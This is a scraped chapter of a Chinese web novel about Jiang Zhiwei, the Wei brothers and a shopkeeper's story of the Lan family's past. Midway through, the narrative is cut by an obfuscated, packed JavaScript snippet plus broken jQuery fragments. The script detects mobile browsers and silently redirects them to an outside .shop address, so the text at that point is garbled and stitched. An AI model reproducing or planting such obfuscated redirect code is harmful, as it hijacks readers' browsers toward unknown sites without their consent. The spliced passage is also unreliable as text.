文趣网 > 其他小说 > 姜小姐演技一流 > 66. 隐秘的故事
    姜之唯赶紧摆手,“不是,不是。是我的朋友,她经营了一间花圃,二少爷也曾去买过花呢。处理花枝的时候,总会伤到手,时间久了难免会留疤,到时候就不好看了。”

    原来是这样。韦懿宸暗暗松口气。

    朝着姜之唯点头,“当然可以,改日我抄录一份药方让阿宸给你送过去。”

    “可以现在给我吗?我最近有些忙,不方便专门等二少爷送药方过来。”姜之唯转念一想,“不如,你让二少爷直接送到我朋友铺子上吧,告诉他是我送的就可以了。”

    姜之唯是蓝家的少夫人,自己一个男子,亲自去送东西,总归于理不合,传出去会让人说闲话的。

    韦懿宸点头,“那就照你说的做。”

    “多谢韦大少爷。”姜之唯欣然道谢,“大少爷,你也是来看花灯、祈福的吗?”

    看着手里的花灯,韦懿宸并没有否认,“差不多,还有一些私人事情要处理。”

    “那我就不打扰了,我就先走了。”小鸟花灯已经拉好抽绳,临走前,姜之唯特意给他表演了一番小鸟展翅飞翔。

    展翅翱翔的小鸟,带着姜之唯隐没在人群里。直到看不清人,韦懿宸才收回不舍的视线,低头去看手里的兔子花灯。

    学着姜之唯模样拉动抽绳,小兔子开始抖动耳朵、瞪着自己两只强有力的后腿。

    一跳一跳地,小兔子向远方奔去。

    “姜之唯,希望你快乐,跑得远远的,不要再有顾及。”在心里朝着花灯许完愿,今日与她会面的女子提着同样的花灯走了过来,“韦大少爷?”

    韦懿宸点头,“金小姐?”

    金小姐是韦夫人给他找的未来娘子。

    韦夫人说了,韦家二少可以不成家,但是大少爷必须成家,还要生下韦家的继承人,将来光复家族。

    韦懿宸起初是不愿的,后来是韦夫人给姜之唯使绊子,让她本就艰难经营的蓝家,更是痛苦。

    姜之唯一个刚刚成家的小女子,怎么斗得过经营多年的韦夫人。连韦懿宸都斗不过她,只能白白遭受拿捏。

    事情顺利结束的代价就是相看金小姐。

    “金小姐,时候不早了,咱们去那边看看吧。”心里住下了人,从此再也没有人能闯进去。

    一晚上的相处,韦懿宸拿捏好了韦家大少爷应有的气度,与陌生女子相处应尽的风度。

    -

    韦家

    韦夫人拦在韦懿宸回院子的必经之路上,见到他回来,伸长拐杖挡住他,“你与金小姐见得如何?”

    韦懿宸:“金小姐秀外慧中,是难得的佳人。”

    韦夫人惊讶抬眉:“也就是说,你很满意她了?”

    “你知道的,我喜欢的只有姜之唯一人。我这辈子认定她了,任何人都改变不了。”韦懿宸再一次倾诉自己的痴心。

    韦夫人把他这话气得七窍生烟,驻着拐杖,一下一下用力戳地,朝他喊过去,“我是问你大哥,哪有问你!你喜欢谁都跟我没关系。”

    就知道是这话。韦懿宸一翻眼皮,继续说着能噎死人的话,“那还是别了吧。我大哥已经死了,金小姐那么好的人,难道要让她嫁给一个牌位吗?”

    说完,韦懿宸似乎想起什么补充道,“我差点忘了,大哥他还没有牌位,只能嫁给孤魂野鬼!”

    “啪——”

    用力一掌拍下来,韦懿宸鼓了鼓腮帮,继续说,“大哥已经死了,您就别白日做梦了。这些年,如果没有我,韦家能走到现在吗。现在我也到了成亲的年纪,大哥是时候该死了,不然您想让自己娇俏温良的儿媳妇,和鬼过日子吗?您不喜欢,我也要说,韦家没有比你更糊涂的人,该清醒的是你!”

    韦夫人被他这话气得浑身发抖,拐杖摔在地上,手上已经没有任何力气,大口喘着粗气。

    “来人。”韦懿宸叫来下人,让他们照顾好韦夫人。既然已经反目,虽然没必要演一出母慈子孝的戏码,还是不能真的气死她。

    不然自己就真的不忠不孝了。

    -

    放完许愿的花灯,姜之唯慢慢往回走。今日她一个丫鬟也没带,算是个自己偷了个清闲。

    走到赛掌柜家门口,除了上次让姜鹤给他传了一句话,已经很久没有去看他了。

    赛掌柜视祖母为亲姐姐,把自己当成亲孙女看待。今年过年都没机会去看看,现在有了机会,一定要去看看。

    正想着,赛掌柜穿着厚厚的毛皮衣服出来,手里还攥着一把菜刀。

    认识这么久,姜之唯还是第一次见到赛掌柜这么粗犷的一面,一脸懵地上下打量,视线在赛掌柜越来越柔和的脸上、闪烁着寒芒的菜刀上来回转。

    “赛伯伯,您这是要去哪儿?”看到姜之唯自己回来了,赛掌柜手里的菜刀,哐当一声掉在地上,三两步走下台阶,上下检查姜之唯,确认她的安危,“丫头,你没事?”

    “我没事。”莫名其妙的关心,姜之唯觉得心里暖暖的,奇怪地看过去,“赛伯伯,您这是。”

    “来,丫头,进来说话。”赛掌柜柔和了声线,推着姜之唯进屋,捡起菜刀,警惕地观察一遭四周,果断地关上门。

    “你这些日子可安全?蓝家人有没有虐待你?”赛掌柜问。

    姜之唯点头,“当然了,我很安全,您为什么这么问?”

    赛掌柜抿嘴,用力拍了一下桌面,喝下一口已经凉了的茶水,将一封信从柜子夹层里拿出来,“这个是今天下午有人从门缝里塞进来的。”

    姜之唯接过信笺,里面赫然写着-姜之唯在我们这里,想要她安全,上元节放完花灯后,城外破庙一叙。

    字迹工整,笔迹却很陌生。上面的油墨和写字用的纸张都是最普通的,没有任何特殊。

    只有一个地址,根本找不出任何线索。

    姜之唯理解赛掌柜的担忧,“赛伯伯,您不用担心,有蓝家在,我不会出事的。”

    “就是因为蓝家,我才担心的。”赛掌柜缓缓讲出一个隐藏许久的故事。

    当年,赛掌柜还没遇到祖母的时候,他是一个到处乞讨的孤儿。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870595|212142||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    有一日,他乞讨到蓝家门口,蓝家那个时候刚刚添了个小少爷,全府上下都洋溢着喜气。

    那日只要路过贺喜的人,蓝家都给了他们赏赐。

    那个时候的赛掌柜已经三天没吃饭了,就想得几个铜板,去买几个馒头吃。

    就在过去贺喜的时候,本以为会和之前的人一样得到赏赐,没想到等来的却是一顿毒打。

    因为,蓝家的姑爷丑事告破。

    府上的下人受到责难,正愁没有地方发泄,看到他来了,直接一顿毒打,本就饥饿的人根本没有力气反抗。一拳直接蒙了,趴在地上,像一块死了很久的肉,没有一点生气。

    打完后,就随便给他丢出去了。

    没过多久,天上开始下冰雹,比杏子还大的冰雹砸在身上,硬生生给赛掌柜疼醒了。

    醒来后,他饥困交加,动弹不得,费力地翻过身子,用嘴去接冰雹。

    一下一下,冰雹砸在脸上、身上很疼,像是那些人的拳头一样。可,这个“拳头”落在嘴里的能吃,能暂时压制他的饥饿。

    就是靠着接冰雹,赛掌柜活了下来,在伤口即将发烂、化脓的时候,又有幸遇到了姜之唯的祖母,同她一起做生意,打下现在的基业。

    “蓝家都是一群趋炎附势的东西。当初,我们开始运作航道的时候,她就动过心思。做生意的,没有一个心不黑的,”想到过去种种,赛掌柜恨得咬牙切齿,“小姐,蓝夫人、乃至整个蓝家都不是简单的角色,你千万不要被他们蒙蔽,掉以轻心了。”

    听完赛掌柜的话,姜之唯一颗心久久不能平复。

    心脏终于平复下来,大脑也清明许多。

    “赛伯伯,蓝夫人她当初也想过航道的生意?”姜之唯问。

    赛掌柜点头,“当年,大家都有自己船队,还没有现在的规模。我们两家是最先发现这条财路的,为了抢夺主权,斗了很久,其中发生了很多波折,才有今天的规模。”

    提到过去,赛掌柜百感交集,姜之唯也越听越沉默。

    在自己不知道的过去,原来还有这样的故事。

    所以,蓝夫人选择自己,究竟是因为她,还是祖母那条航线?

    曾经的真切信任,在此时都化为乌有,只剩下一片冰冷的算计。

    “赛伯伯,我知道了,谢谢你告诉我这些,我会保护好自己的,也会守护好祖母的航线。”姜之唯同赛掌柜挥别,踏上回蓝家的路。

    这次回去的心情与以往都不再一样了。从今往后也不会一样了。

    回去的一路,直到睡觉前,姜之唯都在思考,蓝夫人对自己说这些话的时候究竟掺杂了多少利用?

    当年她没有斗过祖母,失去了航线,现在是否想通过嫁娶,将那条航线重新收入囊中?

    第二天早上,杏花过来敲门:“少夫人,少爷他,出事了。”

    “什么!”听到杏花的话,姜之唯合上账本,开门过去,“究竟发生了什么,你细细与我说。”

    这样的好事情,当然要一字不落地知晓了。